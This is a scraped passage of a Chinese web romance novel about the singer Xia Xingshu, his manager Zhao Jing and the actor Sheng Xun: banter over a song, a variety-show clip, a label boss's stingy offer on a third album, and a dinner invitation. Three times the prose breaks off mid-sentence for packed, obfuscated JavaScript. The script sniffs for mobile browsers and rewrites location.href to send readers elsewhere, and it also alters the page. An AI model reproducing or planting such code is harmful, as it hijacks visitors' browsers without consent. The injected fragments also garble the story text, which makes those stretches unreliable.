小众到没什么火花的程度。 虽然说夏行舒老说写歌是写自己当下的生活状态和感受,不会特别在意这首歌能不能火,亦或是能不能得到听众的共鸣,但是真面对着这种自己喜欢的,本以为会火的歌没有火的情况,心里不免会有些落差。 该说不说,盛珣的回答直接戳他心窝子上了。 “为什么啊?”夏行舒没忍住采访了一下。 盛珣神色自若道:“我之前就和你说过我很喜欢你的歌了,你没信吗?” 夏行舒有些尴尬地挠了挠下颌,小声道:“这不是同事间的客气吗?我还和你说过喜欢你的剧呢。” “你是客气?”盛珣抓住了盲点,反问道。 夏行舒连连摆手弥补,“那没有那没有,是真挺喜欢,我挺爱看电视剧的。” 盛珣没说信没信,开口岔开了话题,“圆桌的词我挺喜欢的,感觉很有寓意。” 也挺有人生哲理的。 盛珣不是什么文艺青年,也没有揪着一首歌的歌词反复去琢磨的爱好,但愣是对夏行舒的词非常偏爱,总是习惯性地把每一个字掰开来去研究,非想弄清楚每一句词的意思。 人可能确实在某些地方会有些执拗的劲儿在。 虽然一开始也因为自己的这种执着感到发笑,但是发现自己改不了之后也就坦然地全盘接纳了。 夏行舒被盛珣搞得有点压力,不尴不尬地挠了挠下颌后才讷讷道:“额,其实我写的时候没有想那么多。” “那你是因为什么契机写出来的?”盛珣对这种没接触的领域过分好奇。 夏行舒回忆了一下,诚实道:“就有一回方诺庭请客,当时的餐厅就是一个大圆桌。” “你知道吧,一般那种大桌子上边都有个转盘,那天比较倒霉,我每次去夹菜的时候都刚好错过,那股子遗憾和可惜就蹿上来了。” 灵感一来挡都挡不住,他吃完饭回家就一口气把词写出来了。 倒是歌名犹豫了许久,最后还是摆烂似的定下了《圆桌》。 其实夏行舒还是挺喜欢这首歌的,奈何可能是词太古怪,又或者是曲和他一贯的风格不太一样,总而言之这首歌不怎么火。 听完夏行舒解释的盛珣一时间有些无言以对,张了几次嘴都没吐出半个字出来,看那副纠结的表情,可能心里多少有点幻灭。 夏行舒被逗笑了,说:“你不会以为原创歌手都是那种特别伤春悲秋,整天坐在录音室里埋头苦干地写词作曲吧?” “艺术来源生活。”夏行舒故作高深地开口道,“我要一直闭门造车地在录音室里待着,别说写歌了,我人都得待发霉。” 盛珣也笑了,说道:“这就是你到处交朋友的理由?” “也没有到处。”夏行舒纠正,“我交朋友就看个眼缘。” 所以表面上瞅着他朋友挺多,但是交心朋友是真没多少。 盛珣弯了弯嘴唇,没对夏行舒的话做什么反应,只是没头没尾地突然来了一句,“如果有机会的话我也写写试试。” 夏行舒一愣,然后才反应过来盛珣是在说写歌。 “行啊。”夏行舒客气道,“可以试试。” 盛珣笑,主动道:“那如果我真写了,能发给夏老师帮忙看看吗?” 夏老师这个称呼一出来,夏行舒就乐了。 这个称呼在娱乐圈里确实很常见,他俩刚认识的时候也是左一个“盛老师”,右一个“夏老师”的,只是在现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160141|165039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个场合,这三个字一出倒有些别的意味在了。 怪怪的。 好像他一应声就真成教盛珣写歌的老师了。 那怎么合适...... 夏行舒慢慢悠悠地迎合:“当然当然,算是交流嘛,盛老师不嫌弃的话当然可以。” 嘴上说着行,但是夏行舒心里还在泛着嘀咕。 演戏就演戏,没事跑来写歌干什么。 卷他? 卷他! 盛珣笑着应好。 盛珣面对夏行舒的时候好像一直在笑。 夏行舒注意到盛珣笑起来的时候眼角是微微上扬的,唇角勾起的弧度也很漂亮很完美。 果然是演员。 夏行舒暗戳戳地猜想,盛珣私底下估计是会琢磨自己怎么笑的好看,然后每天都对着镜子练习的类型。 盛珣还有通告,只是在夏行舒家里眯了个眼,第二天一大早就离开了。 等夏行舒醒来的时候,家里已经被收拾的干干净净的了。 留宿的客人也走了。 夏行舒懒懒地伸了个懒腰,一边刷牙一边在家里到处转悠,一会儿拨弄拨弄阳台快死掉的绿植,一会儿又转回客厅翻两页杂志。 总之就是刷牙的时候闲不下来。 赵静来的时候,刚巧就瞅见夏行舒伸手兜着快从嘴里溢出来的泡沫,没形象地往卫生间窜。 “夏行舒,你搁家里待着也能不能照顾照顾自己的形象?”赵静吐槽道,伸手抽了两张纸帮夏行舒收拾地上的残局。 夏行舒漱了个口,道:“不是吧,狗仔也不能蹲我家门口拍吧?” 赵静:“那说不准。” “那行,我到时候拉着方诺庭和卢宁一起在家门口跳脱衣舞。”夏行舒笑嘻嘻地走了过来,在赵静旁边一屁股坐下,又捡起刚才没看完的杂志,问道,“一大早来我这干嘛?” 赵静也习惯了夏行舒这副没脸没皮的模样,瞅了两眼杂志,道:“我来还能有啥事,和你对行程呗。” 夏行舒把杂志一撇,愁眉苦脸道:“哎哟,我的赵哥喂,你前两天才和我说我去完杭州可以歇几天的。” 赵静铁面无私,“歇歇歇,再歇人粉丝都要不认识你了。” 夏行舒:“我的粉丝那都多年轻啊,记性都是最好的时候,不至于眨眼的功夫就把我忘了。” 赵静瞅了眼茶几上的点心,眉头一扬,不客气地捡了一块往嘴里塞,一边咀嚼一边道:“都是小姑娘,见一个爱一个的,那爬墙的技术比你写歌还顺溜,你想想呢。” “这玩意挺好吃啊,啥时候买的?热量高不高啊?” 赵静把点心咽下,又准备去拿,只是手才刚伸出去就被夏行舒一巴掌拍开了。 夏行舒一把抢过了点心盒子,一脸戒备地瞅了赵静一眼,大义凛然道:“压榨我还想着吃我的东西呢?没门!” 赵静翻了个结实的白眼,拍了拍手上的饼干屑,又瞅了眼一尘不染的地板,颇有些狐疑地开口问道:“你昨儿不是找方诺庭他们聚会了吗?” “是呗,咋啦,聚会也不让了?” “你说话这么冲干什么?”赵静无语,“我就是瞅你家这么干净,感觉怪不习惯的不行吗?” 何况还是聚会后的第二天。 方诺庭和卢宁他俩多闹腾,赵静心里也是有数的。 走之前带两袋垃圾走是他俩的底线,再多的东西是不会干的。 至于这个小兔崽子...... 赵静瞥了眼蹲在茶几前吃点心的夏行舒。 更不是个乐意干活的人。 “估计是盛珣打扫的吧。”夏行舒没心没肺道。 赵静一愣,重复道:“盛珣?” “嗯,他昨晚上也来了,在我家住了一宿。” 赵静笑了,“哎哟,祖宗,你交朋友这是交哪儿去了?” “扩展扩展业务范围嘛。”夏行舒举起手指在赵静面前挥了挥,“但就是泛泛之交,偶尔能说上几句话的关系。” 夏行舒没太当回事。 他俩一个音乐区的,一个演艺圈,看似都在娱乐圈,但实际上圈子还是不同,交际也只能浅尝辄止,真走不到一块儿去。 赵静若有所思地瞅了夏行舒一眼,又问道:“这玩意也是他带来的?” “嗯,他前两天上长沙录节目了,回北京的时候顺路捎上的。” 夏行舒盘起了腿,一边小口小口地吃着点心,一边伸手去够遥控器。 “交朋友行,但是该提防还是提防点,音乐圈的人你都熟,我也不碍着你和他们打交道,但是盛珣那人,我也摸不清来路,你尽量少和他接触。”赵静一把从夏行舒怀里抢过了点心的袋子,拎在自己眼前仔仔细细地打量了两圈。 “提防啥啊,他还能杀了我还是怎么?你一天天的怎么这么阴暗呢?”夏行舒有些不满地回头瞪了赵静一眼,“现在可是法治社会。” 赵静冷笑一声,又把包装袋丢回夏行舒怀里,阴恻恻地开口道:“哎哟哟,法治社会,就你这个棒槌,没我看着不照样能被人贩子拐了去。” 还不待夏行舒抗争,赵静幽幽的嗓音又响了起来。 “盛珣那节目是在湖南广电录的吧?这家店可不和从广电去机场顺路。” 5. 美妙歌喉 夏行舒发现了,人和人之间交朋友有个必经的阶段,就是半生不熟的时候。这个阶段对他来说其实是最舒服的状态,两个人之间都还有点包袱和距离,就不太需要花太多的时间去维系。 加上夏行舒最近确实也没什么时间去维系一段刚刚才开启的友情。 但是该说不说,赵静那天的话确实对他产生了一定的影响。 他和赵静在一起共事了好几年,他知道赵静是个什么样的人,浸淫娱乐圈多年,在这个声色犬马的圈子里混久了,总是有些草木皆兵,觉得任何一个莫名其妙地突然接近夏行舒的人背地里都一定有不可告人的阴暗理由。 夏行舒觉得赵静稍微有点被害妄想倾向了。 他出道这么多年,真没怎么被害过,连黑热搜都没上过几条,唯一一条让他有点印象的所谓“黑料”还是他穿着不配套的睡衣和人字拖下楼丢垃圾被狗仔偷拍到了。 毕竟刚起床没怎么收拾,再完美的一张脸在高清镜头里也存活不下去。 赵静气死了。 夏行舒...... 夏行舒觉得狗仔挺不礼貌的。 这次的通告倒是赵静亲自陪着夏行舒去的。 赵静最近又开始带新人了,忙的脚不沾地,在机场候机的时候手机都没有离开过耳朵几分钟。 “行,行,等我从郑州回来再说。”赵静一边对手机另一边的人说,一边抬眼去看旁边给粉丝分零食吃的夏行舒,头疼地揉了揉太阳穴。 盛珣给夏行舒带的特产太多,夏行舒还要控制体重,虽然有点不舍得,但还是忍痛只给自己留了点,剩下的全在机场给粉丝分掉了。 “这个挺好吃的,尝尝。”夏行舒把包装袋打开让粉丝伸手拿。 一群女孩子也没客气,似乎很习惯夏行舒每次的主动投喂,都笑眯眯地排队拿小零食。 夏行舒和粉丝的关系很好,夏行舒没什么明星架子,加上话又多,在机场候机的时候老是各种和粉丝碎碎念,几遭下来原本还觉得夏行舒高冷的粉丝也都看清了夏行舒的真面目,每次都很配合地听夏行舒吐槽。 本来公司是明令禁止艺人和粉丝关系太近的,但是好在夏行舒的粉丝都很听话且理智,来接机的粉丝都会提前在粉丝群里报备,会有专人来帮忙维持秩序,保证粉丝在和夏行舒有交流的同时不影响机场秩序,公司才睁一只眼闭一只眼由着他们这双向奔赴的俩“群体”去了。 “我吃过诶。”一个小姑娘瞅了眼包装,对夏行舒道,“是在长沙买的吗?” 夏行舒点了下头,又摇了摇头,道:“朋友带的。” 小姑娘喔了一声,另一个粉丝开口说:“那我能给包装拍张照吗?我下周去长沙旅游。” 夏行舒很大方地就把剩下那些全给她了,说:“你都拿着吃吧,里面还有不少。” 另一边的赵静已经挂了电话,远远地冲夏行舒招手,示意夏行舒过去。 夏行舒小幅度地耸了耸肩,道:“我走了啊,你们赶紧回去吧,天黑了外边冷。” “又拿什么给她们分了?”赵静问。 夏行舒:“某种阴谋的产物。” “?” “你不是说盛珣想害我吗?”夏行舒愤愤不平道,“他一定是想用高热量的食物来毁掉我的前途。” 赵静:“......” 夏行舒见赵静一脸哔了狗的表情,没忍住笑出声。 “你等着吧,夏行舒。”赵静又转了回去盯夏行舒,“不听老人言,吃亏在眼前。” 夏行舒翻了个白眼,没再搭理赵静,低头刷起了手机。 他最近也没和盛珣有联系。 盛珣不会因为认识了他就改变自己的工作状态,依旧是埋头钻进组里,上回在北京匆匆见了一面之后夏行舒就没再见过他了。 也没聊天。 倒是昨天他发的一条朋友圈被盛珣点了赞。 “从郑州回来你得和我去趟公司。”赵静又处理掉了一件公事,头也不抬地和夏行舒说。 夏行舒不甚在意地斜眼往赵静那一睨,没好气道:“干嘛,给我开三专讨论会?” 赵静面不改色,“你手里有现成的demo了?” “有几个。”夏行舒见真有可能和自己的三专有关,把翘起的二郎腿放下来,表情也认真了起来。 “付总那天也会来。”赵静道,“你把demo拿给他听听。” “所以真有戏?”夏行舒眼睛亮了起来。 “我上回不都和你说过了吗?让你耐心一点,年轻人。” 夏行舒吐槽:“再这样拖下去,我还算什么年轻人。” 赵静往夏行舒后脑勺上一拍,神色看上去有些不耐烦,但是嘴里的话却是在给夏行舒做保证。 “好好准备,这次的专辑制作人我会好好给你找,你的三专不会差。” 夏行舒哦了一声,没再吭声,思绪却开始放飞,一下子就从专辑制作人到自己的先行曲,主打曲,作词作曲编曲,一溜烟的划过。 三专。 他等了两年多的三专。 该说不说,赵静很会喂饼,原本还因为工作强度骤然变大而有些蔫哒的夏行舒,有了三专的饼吊在前头,瞬间变得精神百倍,在郑州跑完商演之后没有多留,马不停蹄地就又打飞的回了北京。 赵静找了司机来接他们去公司。 夏行舒窝在后座,心情难得的不错,低头翻了两圈微博,又点进某视频软件刷了会儿视频。 首页推荐的都是他最近在追的番,夏行舒挑了几个感兴趣的看了遍,往下滑的时候余光意外地瞥见了一张熟悉的脸。 ——盛珣 噢。 鬼使神差的,夏行舒的手指在那个视频上头停了几秒。 颇有些心虚地抬眼瞅了眼前面的赵静,夏行舒埋头在自己的口袋里翻出了耳机,确定连上了蓝牙后才谨慎地点了进去。 这是一个综艺片段的剪辑。 比较老牌的一个综艺了,主持人都是熟脸,夏行舒也参加过几次,对节目的尺度和内容心里也有数。 盛珣应该是去节目做宣传。 像是想起了什么,夏行舒心念一动,目光往下边的推荐视频瞅了一圈,果不其然找到了一条和他有点关联的视频。 盛珣唱了他的歌。 夏行舒有些挣扎抠了抠手,还是先把正在看的视频暂停了,点进了另一个视频,打算先欣赏一下盛珣的“美妙”歌喉。 夏行舒的唇角不自觉地勾起了一小道狡黠的弧度,但在听见盛珣唱出第一个字的时候,笑容突然就消失了。 靠。 唱的还真不错。 夏行舒目瞪口呆地盯着手机屏幕,一个不注意视频就播完了。 夏行舒还没回过神来。 只是两秒过后,夏行舒又不死心地重播了一遍。 “嗯嗯嗯。”夏行舒小声嘟囔,“这里可跑音了啊!” “混响湿了点,低频要再一点就好了......” “哈哈,起高了吧。” “夏行舒!”赵静提高了嗓音,“你自言自语什么呢?” 夏行舒也提高嗓音,压过了赵静的嗓门,“我还不能自言自语了吗?你管的真宽!” 赵静咬牙切齿地扭头瞪了夏行舒一眼。 夏行舒不服气地瞪了回去。 司机没忍住笑出了声。 赵静没好气地收回目光,不再理会叛逆的夏行舒。 夏行舒哼了一声,又低头看起了视频,死不改正地继续嘟囔:“行吧,总体唱的还行。” 听了好几遍,夏行舒后知后觉地觉得自己有点幼稚,挠着下颌把视频关掉,正准备把盛珣从自己的脑子里删掉,但又没忍住诱惑转去把刚开始点开的那个视频重新播放了。 夏行舒耐心地看了起来。 这部分应该是盛珣唱完歌之后的剪辑。 其中一位主持人有些惊叹地开口道:“没想到你歌唱的也这么好?有专门学过吗?” 盛珣摇头:“没有,平时听的多。” “喔?”主持人又问,“那平时都听谁的歌?” 夏行舒眨了眨眼,有些紧张地抿了下唇。 盛珣笑了笑,没多思考和犹豫,直接道:“我挺喜欢夏行舒的歌的。” 夏行舒抿着的嘴唇蓦地松开了,没来由地长吐了口气。 动静大的前边两人都一脸莫名地回头看了眼。 夏行舒没理,还专心致志地低头看视频。 主持人摆出了一副意外的表情,道:“难怪,这次还选了咱们行舒的歌。” “你要是早来几期就能碰见他了。”另一个主持人笑着开口,“他也算是我们节目的老朋友了。” 盛珣依旧在笑,眼睛微不可查地眯了眯,而后才道:“能和他交朋友挺好的。” “哦,听这意思是交上了?” 盛珣颔首:“算是吧,但是......” “但是?” “但是他朋友有些太多了。”盛珣耸肩。 问话的主持人还没开口,另一个主持人就语出惊人道:“怎么,你还想成为他唯一的朋友吗?占有欲有点太强了喔。” 台上台下瞬间被这个主持人的话逗笑了。 屏幕外的夏行舒也没忍住笑出了声。 镜头又怼到了盛珣脸上。 也不知道是不是为了节目效果,盛珣做了个颇为无奈但又只能接受事实的表情。 别问夏行舒是怎么读出来的。 反正他就是读出来了。 视频很快就没了,似乎视频的主题就是为了截出这一段。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160142|165039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏行舒心情美妙了起来,美妙到点进了音乐软件,然后费尽心思找到了盛珣唱他歌的音频,加入了收藏夹之后才收住。 人身上可能都会有这种莫名的胜负欲在身上。 比如他在认识盛珣之前就觉得盛珣很神秘,但是盛珣绝对不会觉得他神秘,而且完全有可能根本对他没有任何印象和看法。 但是盛珣主动加了他微信就不一样了。 好歹打平了。 现在更好了,完美反超。 “夏行舒,收起你脸上的蠢笑。”赵静言语尖锐道,“准备下车了,我不想让你粉丝以为你真是个傻子。” 夏行舒冲赵静翻了个大大的白眼,短暂地纠结了两秒,就勇敢地去找盛珣吐露心声了。 【夏行舒】:我这下要认真和你当朋友了。 盛珣出乎意料地秒回了。 【盛珣】:所以你之前都没有想认真和我当朋友? 夏行舒脸上还挂着赵静嘴里的“蠢笑”,眼睛亮晶晶地按着手机屏幕。 【夏行舒】:之前是想,现在是认真地想。 【盛珣】:有什么区别? 【夏行舒】:嗯......我的投入程度? 盛珣轻笑出声。 【盛珣】:我的荣幸。 【夏行舒】:当然,谁能拒绝一个对朋友有超绝占有欲的人呢?叉腰/ 夏行舒捧着手机等着盛珣回复。 过了小半分钟,手机才又嘀了一声。 【盛珣】:你看节目了? 夏行舒抓了抓耳朵,正要斟酌着怎么回消息时,司机已经驶进了公司的停车场,然后赵静回头冲夏行舒道:“别玩了,下车。” 夏行舒哦了一声,把手机揣进兜里,紧跟着赵静下了车,扭头冲被拦在停车场外的粉丝招手。 “我要去楼上看个项目合同。”赵静道,“你去录音室待会儿,付总没这么快来。” 说罢,赵静也不等夏行舒回复就着急忙慌地先进了电梯。 夏行舒慢慢悠悠地在公司大厅转了两圈,在路上碰见了好几个生面孔。 似乎都是公司新签的艺人。 夏行舒好歹也是个小有名气的“老前辈”了,生面孔们都毕恭毕敬地冲夏行舒打招呼,有个胆大还直接开口问夏行舒怎么突然来公司了。 “随便转转。”夏行舒糊弄了过去,然后果断地把自己关进了录音室。 再次想起自己还没回盛珣消息已经是十分钟后了。 夏行舒捡了个位置坐下,掏出手机的瞬间就见盛珣的消息又弹了出来。 【盛珣】:你回北京了吗? 夏行舒眉梢轻扬,脑筋飞快地转了转。 【夏行舒】:刚回,怎么了? 【盛珣】:晚上有个局,你想来吗? 这下夏行舒是真的愣了。 【夏行舒】:啊?都有谁啊? 盛珣似乎有些过于认真对待夏行舒的问话了,花了点时间仔仔细细地把所有人的名字都打了出来。 以及聚会的地点。 夏行舒瞅了好几眼就猜出了这个局的性质。 哦,剧组私下组局。 是他唱片尾曲的那个剧组。 算是和他有点关联。 但也就是一点点而已。 夏行舒抓耳挠腮地纠结了半天。 该说不说,他是挺爱凑热闹的,而且他还刚刚好有两天假期。 好吧。 他是要比演员闲一点,尤其是专辑的事还没影儿,他跑完了通告就只能家里蹲。 在哪儿蹲不是蹲呢? 夏行舒捏了捏拳。 【夏行舒】:是正经聚会吧? 对面的盛珣似乎被夏行舒的问题震慑到了,聊天框上面的“对方正在输入中”浮现了好几次。 过了半天才又弹了句话出来。 【盛珣】:当然。没有那种东西。 一看那两个慎重的句号就知道这是盛珣反复斟酌过后的回复。 夏行舒眯了眯眼,若有所思地瞅了眼盛珣的回答,好好琢磨了一下才突然恍然大悟。 哦! 那种东西! 夏行舒被盛珣的脑洞逗得哈哈大笑,笑了好一会儿才回了消息。 【夏行舒】:不是,我的意思是不会有些助兴的小游戏吧? 【夏行舒】:上次方诺庭喊我去参加聚会,我被逼着和他一起跳钢管舞。 甚至还保留下了视频证据。 夏行舒至今都十分悔恨。 对面又诡异地沉默了半响。 【盛珣】:所以你真跳了? 【夏行舒】:当然,没我不行。 【盛珣】:? 夏行舒苦哈哈地叹气。 【夏行舒】:我是那根钢。 6.黑心资本家 夏行舒一聊上头嘴上就没了把门,一个不注意还把那个黑历史似的视频证据的存在暴露出来了。 盛珣说想看。 夏行舒婉拒了。 盛珣倒也没有勉强,非常体贴且温柔地说他就是随便一提,让夏行舒不要因为拒绝他而愧疚。 夏行舒说他没愧疚。 然后盛珣就不说话了。 夏行舒盯着手机屏幕看了半响,慢吞吞地眨了两下眼睛,确定对面是真不理他了,才后知后觉地真在心里品味出了些许愧疚。 “该死。” 夏行舒不太高兴地撇了撇嘴,最后还是忍痛把那个视频发过去了。 视频发出去的瞬间,夏行舒就眼不见心不烦地把手机息屏揣兜里了,假装自己忙起来了。 没认真伪装多久,赵静就推门进来,招呼夏行舒跟他去开会。 有了正经事,夏行舒也不再在那个视频上纠结了,连忙抬脚跟了上去。 这个肉眼可见的不是一个正经组织的会议,会议室也只是借用了一个小小的办公室来代替,里面的环境乱糟糟的,人头攒动,各种皮革的气味混杂着烟味以及空调热气钻进夏行舒的鼻腔。 夏行舒皱眉,还没等开口,坐在最前边的男人就先注意到了夏行舒,掐掉了烟后敲了敲桌子,示意安静一点。 “来了?”付争眯眼盯了夏行舒两秒,漫不经心地弹了弹身上的烟灰,“坐下聊聊。” 毕竟是自家公司的台柱子,付争虽然懒得出席这种场合来做一些似是而非,不能当下出效果的决定,但在赵静的百般劝说下还是勉强抽了点时间出来和夏行舒聊聊音乐和未来的发展。 “你上张专辑什么时候发的?”付争问。 “22年。”夏行舒回。 “哦。”付争抬了抬下巴,似乎是回忆了一下夏行舒上张专辑给公司带来的效益,好半响后才道:“赵静说你已经写了几首歌了?” 夏行舒扭头看了赵静一眼,然后点了下头。 付争道:“说说你的想法。” 夏行舒斟酌了一下语句后道:“这张专辑和前两张专辑的风格都不太一样,有两首歌是在我之前的专辑里没有收录的,但是歌的风格很突出......” 他写歌其实没有太大的风格界限,大多数音乐都是他出于某个阶段的情感投射,但是人的心情不可能一成不变,他的音乐也难免会有较大曲风差异。 但是写歌是一回事,做音乐是一回事。 有些歌确实不符合专辑的主题调性和概念构思,就没有被收进去。 夏行舒觉得挺可惜的,毕竟那两首歌他还挺喜欢的,在筹备三专的时候就暂时以那两首歌为基础,衍生出了一个新的主题和风格,创造出一张和他前两张相差甚异的第三张专辑。 付争听明白了,长长的哦了一声后道:“行,我知道了,你想做和以前不一样的音乐对吧?” “可以是可以。”付争低头看了眼手表,然后撑着桌子站了起来,继续道,“但是你也不是个新人了,应该知道做一张专辑公司要付出的成本有多少。” 付争朝大门的方向走去,在经过夏行舒的时候停了下来,伸手在夏行舒的肩膀上拍了拍,“我自认为公司对你的培养不少,这么多年也没少给你好的机会,但是你也看到了,公司就这么大,我还要养那么多人,不可能所有的资源都倾斜给你,这不公平。” “你想发三专可以,公司会尽力支持你。”付争道,“但是你得想想拿什么来回馈公司。” 说罢,付争便拉门离开了会议室。 夏行舒皱眉目视着付争离开,然后又扭头看向赵静。 赵静耸了耸肩,没说什么。 眼下没什么工作了,赵静索性自己开车送夏行舒回家。 夏行舒问了一嘴:“他什么意思?” “能有什么意思,想靠你赚钱,但是不舍得在你身上花太多钱呗。”赵静打着方向盘,轻描淡写道。 夏行舒撇嘴:“黑心资本家。” 赵静哼笑一声,“你觉悟的太晚了。” 夏行舒心塞地抱胸往后躺了躺。 是呗。 要早点觉悟,早点发现定城娱乐就是个三无小作坊,他也不至于被忽悠地签下了黑心合同,这一卖身就卖了十年。 只是他那会儿的年纪实在太小,对音乐的热爱和憧憬战胜了太多的困境和不可能,也因此掩盖掉了很多东西,轻而易举地就被一些表面浮华的东西蒙蔽了双眼,以至于现在连后悔的余地都没有。 “太惨了。”夏行舒哀叹。 赵静:“你说谁?” 夏行舒大声:“我!” “别嚷嚷。”赵静皱眉,“你没听说过那个词吗?降本增效,不管什么行业,这四个字都是原则。” “那是老板的原则!” “你再吵我就把你丢下去。” 人身安全受到威胁的夏行舒屈辱地闭上了嘴。 车里难得的清净了一会儿,赵静也终于有功夫思忖了一下关于夏行舒的事业问题。 他这段时间都在搞和公司新签约的艺人的合同,许是看那些条款看的多了,不由自主地就想起了夏行舒的合同,眉心的沟壑不自觉地深了点。 “你还记得你的合同内容吗?付总有和你提过修改的意思吗?” “修改个屁,当年什么样现在就什么样。”夏行舒翻了个白眼,“歌曲版权全归公司所有,分成也没变过,而且最恶心的一条,一切纠纷的最终解释权归公司所有,哇,我以前到底是怎么签的下字的。” 闻言,赵静也没忍住叹气:“行了,不要抱怨了,再熬几年合同就到期了。” 夏行舒:“到期有什么用,到期了更惨。” “?” “我以后想唱自己的歌还得给这个狗公司付钱。”夏行舒无语道,“这是什么道理。” 赵静似乎这才突然反应过来,噢了一声后便沉默了,直到驶进了夏行舒的小区门才委婉开口道:“那你得想想别的方法,或者说......别的出路。” 见夏行舒看他,赵静道:“太听话在圈子里不是一件好事,你现在已经不是一个寂寂无名的十八线艺人了,你有粉丝有热度就有话语权。” 车停了下来,赵静回头看着夏行舒,认真道:“话语权在这个圈子是非常重要的,把握好你现在拥有的资源,再好好想想你到底想要什么。” 夏行舒怔愣地看了赵静半响,在窥探出了赵静神色中隐藏的愁绪和惆怅后,表情也逐渐郑重和笃定了起来,道:“嗯,知道了。” 赵静其实是个不错的人,面冷心热,夏行舒刚进公司的时候才是个刚成年没多久的小屁孩,什么行业潜规则都不懂,被分在了赵静手里,拖着个没什么屁用的公司,和赵静一点一点地在这个充满竞争和鄙视链的环境站稳脚跟。 他的音乐天赋是一回事,赵静在其中也付出了很多努力。 红不是一件简单的事。 天时地利人和,缺一不可,夏行舒和赵静没有天时,也没有地利,但愣是靠着自己闯出了头。 不管怎样,夏行舒虽然讨厌这家公司,但是却依旧感谢他能遇见赵静。 得到了夏行舒的回答,赵静这才收回目光,示意夏行舒下车,嘴上却依旧不忘自己作为经纪人的职责,和夏行舒确定了这两天的行程。 “你有两天假。”赵静道,“随你玩,但是去哪儿都提前和我报备,听见了没?” 夏行舒没急着下车,埋头看起了外卖,头也不抬道:“哦哦哦,知道了,你好啰嗦。” 赵静啧了一声,又问:“你在干嘛?” “点外卖。”夏行舒嘟囔道,“我早饭都没吃,吃个午饭不行吗?” “点的什么?”赵静警惕回头。 “炸鸡。”夏行舒思索道:“但是听说炸鸡的热量挺高的。” 赵静冒到了嗓子眼的脏话又咽回去了。 “幸好只是听说。”夏行舒美滋滋地补充。 赵静:“......” “听说我脚上这双皮鞋踢人挺疼的。”赵静皮笑肉不笑道,“不过待会儿就不止是听说了。” 夏行舒低头确认了一眼,又抬头看赵静,“你真恶毒。” 赵静冷笑。 夏行舒不敢忤逆赵静同志,不情不愿地换了个热量低的食物,下车的时候才想起自己答应了盛珣的事。 “我晚上去参加个聚会。”夏行舒对赵静道。 生怕赵静骂他,夏行舒语速飞快道:“就在北京,离我家也不远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200710|165039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是正经人,没有狗仔没有热搜也没有作妖,我保证。” 说罢,夏行舒不等赵静回答就“啪”地一声甩上了车门。 刚张开嘴的赵静:“......” 深呼吸了两下,赵静面无表情地按下了窗户,对着还在外边的夏行舒道:“记住你的话,要是我出差途中在热搜上看到你了......” 看着阴恻恻的赵静,夏行舒肉眼可见地抖了一下,忙不迭地点头,然后冲赵静比了个“OK”。 赵静的担心不无道理,现在的狗仔无处不在,无孔不入,在家门口都有可能被蹲守的狗仔拍到,更别说在公共场合了。 但是艺人也是人,总归不可能永远躲在家里屏蔽掉社交活动的。 最起码对夏行舒来说,没有社交的他就像是没有五险一金的offer。 聚会的地方夏行舒去过,是一家非常私密的餐厅,因为私密性足够强,加上口味不错,在圈子里颇为有名,大半个娱乐圈的人都去那家店打过卡。 也不知道老板是怎么做到的,明明所有人都知道在那里能蹲到明星,但愣是很少有人能真的拍到些什么。 许是因为是盛珣主动邀请的夏行舒,所以在聚会开始前,盛珣提出过来接夏行舒。 然后又被夏行舒婉拒了,说他知道怎么去。 两人拉扯了好半天,最后都各退了一步,夏行舒自己去,但是盛珣会在餐厅门口等他。 夏行舒到餐厅的时候天已经半黑了。 虽然和盛珣认识不短时间了,但是两人总共也没见过几次面,距离上次见面已经过去了小半个月,这会儿突然“面基”,夏行舒还莫名有些紧张和别扭。 盛珣如实地在餐厅门口等着夏行舒,姿态闲散,气质却很突出。 许是私人聚会,但又都是业内同事,盛珣的穿着介于正式和休闲之间,西装外套并没有系上扣子,内里的衬衫沿着宽肩窄腰的线条收紧,没有领带,衬衫的扣子也没有扣全,隐约可以窥得内里的肌肤。 “你不冷吗?”和盛珣对上视线后,夏行舒鬼使神差地省略掉了客套的招呼过程,直接......算是关心上了盛珣? 夏行舒有些拿不准,但是也确实很想知道答案。 盛珣似乎有些意外,怔了两秒后弯唇笑了声,也把招呼省了,道:“还行,你冷吗?先进去吧,里面有暖气。” 夏行舒对盛珣忽如其来的笑声回应以侧目,目光在对方脸上逡巡了半响,颇有些纳闷道:“你在笑什么?” “这是礼貌的微笑。”盛珣耸肩道。 夏行舒狐疑地盯了两秒,还是凭借着自己的敏锐从那抹笑容中捕捉到了几分揶揄和促狭。 哦。 想起来了。 钢管舞视频。 夏行舒故作自然地试探了一句:“那个视频你不会看了很多遍吧?” “嗯。” 盛珣甚至都没问是什么视频,就这么自然地承认了。 